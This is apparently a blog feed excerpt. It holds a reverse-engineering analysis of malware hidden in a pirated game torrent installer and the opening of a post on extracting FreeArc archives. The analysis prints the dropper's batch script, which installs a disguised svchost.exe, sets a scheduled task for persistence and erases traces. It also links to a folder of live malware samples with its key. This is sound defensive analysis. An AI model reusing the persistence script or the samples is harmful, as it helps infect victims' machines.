&lt;p&gt;The torrent I looked at was: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;The Legend of Zelda: Breath of the Wild CEMU 1.8.0b [Multi-Lang]&lt;/code&gt; by HZolomon.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL;DR: It is definitely malware.&lt;/strong&gt; All the torrent by HZolomon appear to have been infected with malware equal/similar to this one.&lt;/p&gt;

&lt;p&gt;[&lt;a href=&quot;https://mega.nz/folder/mxB3lKBD&quot;&gt;MEGA Folder with relevant files&lt;/a&gt;] &lt;strong&gt;WARNING: THIS CONTAINS ACTIVE MALWARE&lt;/strong&gt; (in case you didn’t read the title and like executing random files)… The key is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8NcPVw1TCm_dvZM9s2SU_g&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;tooling&quot;&gt;Tooling&lt;/h2&gt;

&lt;p&gt;I used &lt;a href=&quot;http://x64dbg.com&quot;&gt;x64dbg&lt;/a&gt;, &lt;a href=&quot;https://github.com/David-Reguera-Garcia-Dreg/DbgChild&quot;&gt;DbgChild&lt;/a&gt;, &lt;a href=&quot;https://github.com/mrexodia/TitanHide&quot;&gt;TitanHide&lt;/a&gt;, &lt;a href=&quot;http://www.ntcore.com/exsuite.php&quot;&gt;CFF Explorer&lt;/a&gt;, &lt;a href=&quot;http://domoticx.com/autoit3-decompiler-exe2aut&quot;&gt;Exe2Aut&lt;/a&gt; and &lt;a href=&quot;https://www.virtualbox.org/wiki/Downloads&quot;&gt;VirtualBox&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You have to select the checkboxes in the DbgChild plugin to automatically attach x64dbg to any process started by the executable you’re currently debugging:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/eRIW9sj.png&quot; alt=&quot;dbgchild&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From here on I’ll just give a brief description of each analysis step.&lt;/p&gt;

&lt;h2 id=&quot;setupexe&quot;&gt;setup.exe&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://virustotal.com/en/file/06dd57013ab91100d4474ab4069ebb3a908ffc8776795127a3148203e2d4e1d8/analysis&quot;&gt;VirusTotal&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;With &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;innoextract&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;innounp&lt;/code&gt; has a similar error):&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Stream error while parsing setup headers!
 ├─ detected setup version: 5.4.2
 └─ error reason: basic_ios::clear
If you are sure the setup file is not corrupted, consider
filing a bug report at http://innoextract.constexpr.org/issues
Done with 1 error.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Extracts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%temp%\is-[A-Z0-9]{5}.tmp\setup.tmp&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;is-K35T2.tmp&lt;/code&gt; in MEGA folder)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Probably this is: http://forum.ru-board.com/topic.cgi?forum=5&amp;amp;topic=34920&amp;amp;start=0&amp;amp;limit=1&amp;amp;m=1#1 and/or http://krinkels.org/resources/categories/innoultra.29/&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;setuptmp&quot;&gt;setup.tmp&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://virustotal.com/en/file/5e5a8f3b318f077ad371e460a651f2e0f53ad52a92afda395dcf39efc721d46f/analysis&quot;&gt;VirusTotal&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Command line (this is similar to what InnoSetup does from what I know):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;C:\Users\Admin\AppData\Local\Temp\is-RPR25.tmp\setup.tmp&quot; /SL5=&quot;$230522,1892858,54272,F:\Users\Admin\Documents\Downloads\The Legend of Zelda - Breath of the Wild\setup.exe&quot; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Extracts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%temp%\is-[A-Z0-9]{5}.tmp\ISDone.dll&lt;/code&gt; and some other files (including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unarc.dll&lt;/code&gt;).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Put a DLL breakpoint on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unarc.dll&lt;/code&gt; in x64dbg.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Start the installation, which causes more stuff to be extracted to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%temp%\is-[A-Z0-9]{5}.tmp&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All the extracted files are hidden. You can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;attrib -S -H&lt;/code&gt; to unhide them (Windows explorer doesn’t allow you to do uncheck the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hidden&lt;/code&gt; box for some readon).&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Break on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FreeArcExtract&lt;/code&gt; (see my &lt;a href=&quot;http://mrexodia.github.io/coding/2017/07/06/FreeArc-and-Dark-Souls-3&quot;&gt;earlier blog post&lt;/a&gt; for more details). TL;DR it runs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unarc.exe&lt;/code&gt; with the function arguments as command line arguments.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some of the commands used in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FreeArcExtract&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;l -- setup-2.bin
x -o+ -pawdawdawd -wF:\BotW\ -dpF:\BotW\ -- setup-2.bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Find &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cbArcExtract&lt;/code&gt; at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ISDone.dll:$1A340&lt;/code&gt; from the first parameter of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FreeArcExtract&lt;/code&gt;, break on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;password?&lt;/code&gt; action check:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/DLRX6Zv.png&quot; alt=&quot;password check&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Arc password: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;awdawdawd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unarc.dll&lt;/code&gt; uses compression algorithm hooks from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;facompress.dll&lt;/code&gt; (&lt;a href=&quot;https://github.com/svn2github/freearc/blob/298ae5fece821c4a187f782df034bbd9e029688f/Compression/CompressionLibrary.cpp#L461&quot;&gt;relevant code&lt;/a&gt;) + hooks for CLS-compressors (&lt;a href=&quot;https://github.com/svn2github/freearc/blob/298ae5fece821c4a187f782df034bbd9e029688f/Compression/CLS/C_CLS.cpp#L87&quot;&gt;relevant code&lt;/a&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CLS-MSC.dll&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CLS-srep.dll&lt;/code&gt;) so make sure to put those next to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unarc.exe&lt;/code&gt; if you want to (safely) extract the files.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;After all the files are extracted it runs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DSETUP.exe&lt;/code&gt;, which at first looked fine, but looking a second time the file is not signed by Microsoft and it has no version information or anything.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;dsetupexe&quot;&gt;DSETUP.exe&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://virustotal.com/en/file/bcd844ff63e5ea46446572ab85efd05bd8e4e4a92f58bf4afc4d37b6b54b2eb2/analysis&quot;&gt;VirusTotal&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is an AutoIt executable (32 bit), it’s basically the first layer of the dropper. With Exe2Aut I extracted the script (slightly deobfuscated by hand):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/sEXp9bf.jpeg&quot; alt=&quot;dropper layer 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It tries to identify your anti-virus and based on that drops &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CLDe2bugLog.txt&lt;/code&gt; in your temp directory with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FileInstall&lt;/code&gt; function. It then replaces the bytes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;00000000001C0004&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;377ABCAF271C0004&lt;/code&gt; (7z header) and extracts it with the following command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CLDe2bugLog.txt e -p&quot;DQMDDMNBQ3824Nnd2nd8812@2*$(#!&amp;amp;NDQB2&quot; CRDebugLog.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The contents of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CRDebugLog.txt&lt;/code&gt;, but the malware inside does pretty much the same thing. I (unfortunately) looked at the contents of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dxdllreg_x86&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;64.exe
SystemCheck.xml
start.bat
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;startbat&quot;&gt;start.bat&lt;/h1&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;attrib -h -r -s /S /D %userprofile%\AppData\Roaming\Microsoft\Windows\\svchost.exe
copy /y &quot;64.exe&quot; &quot;%userprofile%\AppData\Roaming\Microsoft\Windows\svchost.exe&quot;
attrib +h +r +s /S /D %userprofile%\AppData\Roaming\Microsoft\Windows\\svchost.exe
schtasks.exe /Create /XML &quot;SystemCheck.xml&quot; /TN &quot;System\SystemCheck&quot;
del 64.exe /f
del SystemCheck.xml /f
del CRDebugLog.txt /f
del CLDebugLog.txt /f
del &quot;%0&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This copies the file to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%userprofile%\AppData\Roaming\Microsoft\Windows\svchost.exe&lt;/code&gt;, which made it clear that this is indeed a malicious file. It then goes on to create a scheduled task with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SystemCheck.xml&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;systemcheckxml&quot;&gt;SystemCheck.xml&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/UTJMk2j.png&quot; alt=&quot;SystemCheck.xml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This executes the newly-created &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;svchost.exe&lt;/code&gt; with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-WindowsCheck&lt;/code&gt; command line every X amount of time (probably days, not really worth exploring in this case).&lt;/p&gt;

&lt;h2 id=&quot;64exe-svchostexe&quot;&gt;64.exe (svchost.exe)&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://virustotal.com/en/file/f53fa47763b9afdf9ef03c935c413e9c2969091142cd42584f33b0bef27362ca/analysis&quot;&gt;VirusTotal&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This file is packed with Enigma x64. &lt;a href=&quot;https://github.com/mrexodia/TitanHide&quot;&gt;TitanHide&lt;/a&gt; works fine for debugging Enigma (ScyllaHide has issues). The original entry point (OEP) is at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;64.exe:$3059C&lt;/code&gt; . It has stolen bytes, but they are easy to retrieve:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;48 83 EC 28 E8 BF B3 00 00 48 83 C4 28 E9 36 FE FF FF&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: I have been asked on &lt;a href=&quot;https://www.reddit.com/r/ReverseEngineering/comments/6mw3pk/analyzing_torrent_repack_malware/&quot;&gt;reddit&lt;/a&gt; to give more details about the “stolen bytes” mentioned here. Before I could answer user &lt;a href=&quot;https://www.reddit.com/user/izizizizizizi&quot;&gt;izizizizizizi&lt;/a&gt; gave a nice &lt;a href=&quot;https://www.reddit.com/r/ReverseEngineering/comments/6mw3pk/analyzing_torrent_repack_malware/dk67bmt/&quot;&gt;explanation&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“Stolen bytes” (is there any non-colloquial name for this I wonder) is a feature of many packers/protectors which prevents easy dumping. During the protection process, a part of the original executable code gets removed and stored in the protector stub. When it’s about to be executed there’s a redirection to the protector’s code instead of the original function. The stub either writes original code in some dynamic buffer and executes it or an obfuscated version of the original function is executed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To get them I created my own &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hello World&lt;/code&gt;-style AutoIt executable and pasted the entry point.&lt;/p&gt;

&lt;p&gt;After the ‘unpacking’ enigma, I extracted the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SCRIPT&lt;/code&gt; resource and put it in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hello World&lt;/code&gt; AutoIt executable (32 bit), I then used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Exe2Aut.exe&lt;/code&gt; to get the AutoIt script source code (irrelevant parts omitted):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/IxdyRY4.jpeg&quot; alt=&quot;stage2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The interesting part is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bot()&lt;/code&gt; function:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/jK3GPat.png&quot; alt=&quot;stage2 C2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It uses a YouTube video (reported, but please report again) as a command and control mechanism. If the description contains one of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_download&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_run&lt;/code&gt;, etc. command it will perform certain actions based on the data in the description (such as downloading a file or updating to a newer version).&lt;/p&gt;

&lt;p&gt;It also appears to run some kind of crypto currency miner, although I couldn’t find the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SystemCheck&lt;/code&gt; executable:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/mIIC1OW.png&quot; alt=&quot;miner&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Well, that has been all for today. It has certainly been fun reversing malware for a change!&lt;/p&gt;

&lt;p&gt;“Heb ik dat nou al gezouten?”&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/reversing/2017/07/12/Analyzing-torrent-repack-malware</link>
                <guid>https://mrexodia.github.io/reversing/2017/07/12/Analyzing-torrent-repack-malware</guid>
                <pubDate>2017-07-12T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Freearc And Dark Souls 3</title>
                <description>
&lt;p&gt;In my free time I work on lots of small projects. One of those is called &lt;a href=&quot;https://github.com/mrexodia/DarkSouls3.TextViewer&quot;&gt;DarkSouls3.TextViewer&lt;/a&gt; and it lets you view all dialogue and item descriptions in &lt;a href=&quot;https://www.darksouls3.com&quot;&gt;Dark Souls 3&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/E0XuU2Y.png&quot; alt=&quot;DarkSouls3.TextViewer&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To do this you have to extract the contents of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Data1.bdt&lt;/code&gt;, which can be done with &lt;a href=&quot;https://github.com/Atvaark/BinderTool&quot;&gt;BinderTool&lt;/a&gt; by Atvaark. However, recently I got interested in possible changes made to item descriptions during updates, so I went on a hunt for all versions of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Data1.bdt&lt;/code&gt;. Because Steam does not allow you to downgrade the game versions I started looking for pirated releases and updates to try to piece everything together. I downloaded &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Dark.Souls.III.The.Ringed.City-CODEX&lt;/code&gt; to get started, but then I noticed that I was too low on disk space to install the game…&lt;/p&gt;

&lt;h2 id=&quot;innosetup&quot;&gt;InnoSetup&lt;/h2&gt;

&lt;p&gt;A quick look at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setup.exe&lt;/code&gt; with &lt;a href=&quot;https://pid.gamecopyworld.com&quot;&gt;ProtectionID&lt;/a&gt; reveals that it is an InnoSetup installer:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/pYTIYHJ.png&quot; alt=&quot;inno setup&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There are several free tools available (&lt;a href=&quot;http://constexpr.org/innoextract&quot;&gt;innoextract&lt;/a&gt;, &lt;a href=&quot;http://innounp.sourceforge.net&quot;&gt;innounp&lt;/a&gt;) to see what’s inside:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;innoextract.exe -l e:\setup.exe
Listing &quot;Dark Souls III The Ringed City&quot; - setup data version 5.5.0.1 (unicode)
 - &quot;tmp\ISDone.dll&quot; [temp] (446 KiB)
 - &quot;tmp\english.ini&quot; [temp] (15.4 KiB)
 - &quot;tmp\Style.vsf&quot; [temp] (44.7 KiB)
 - &quot;tmp\VclStylesinno.dll&quot; [temp] (1.95 MiB)
 - &quot;tmp\BASS.dll&quot; [temp] (107 KiB)
 - &quot;tmp\bp.dll&quot; [temp] (129 KiB)
 - &quot;tmp\wintb.dll&quot; [temp] (27.5 KiB)
 - &quot;tmp\Music.ogg&quot; [temp] (2.34 MiB)
 - &quot;tmp\Play1.bmp&quot; [temp] (540 B)
 - &quot;tmp\Play2.bmp&quot; [temp] (540 B)
 - &quot;tmp\Play3.bmp&quot; [temp] (540 B)
 - &quot;tmp\Pause1.bmp&quot; [temp] (540 B)
 - &quot;tmp\Pause2.bmp&quot; [temp] (540 B)
 - &quot;tmp\Pause3.bmp&quot; [temp] (540 B)
 - &quot;tmp\trackBkg.bmp&quot; [temp] (776 B)
 - &quot;tmp\trackbtn1.bmp&quot; [temp] (344 B)
 - &quot;tmp\trackbtn2.bmp&quot; [temp] (344 B)
 - &quot;tmp\trackbtn3.bmp&quot; [temp] (344 B)
 - &quot;tmp\unarc.dll&quot; [temp] (368 KiB)
Warning: &quot;setup-1.bin&quot; is not part of the installer!
Use the --gog option to try listing the contents of this file.
Done with 1 warning.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setup-1.bin&lt;/code&gt; file starts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ArC&lt;/code&gt;, so I checked the exports of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unarc.dll&lt;/code&gt; and one that stands out is called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FreeArcExtract&lt;/code&gt;, which points to &lt;a href=&quot;https://en.wikipedia.org/wiki/FreeArc&quot;&gt;FreeArc&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I tried to list the files in the archive, but the file format appears to be customized (or an older version):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;unarc l e:\setup-1.bin
FreeArc 0.67 unpacker
ERROR: archive structure corrupted (descriptor failed CRC check)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;freearc&quot;&gt;FreeArc&lt;/h2&gt;

&lt;p&gt;Then I thought, perhaps I can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unarc.dll&lt;/code&gt; from the setup to extract the relevant files? The lead is the name of the export &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FreeArcExtract&lt;/code&gt;. A bit of Googlefoo pointed to the &lt;a href=&quot;https://github.com/svn2github/freearc/blob/298ae5fece821c4a187f782df034bbd9e029688f/Unarc/unarcdll.cpp#L142&quot;&gt;relevant code&lt;/a&gt;, which looks like this:&lt;/p&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__cdecl&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FreeArcExtract&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cbtype&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;va_list&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;va_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;c:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;unarc.dll&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;//// Здесь будет искаться arc.ini!&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;va_arg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;va_end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;COMMAND&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;command&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;// Распарсить команду&lt;/span&gt;
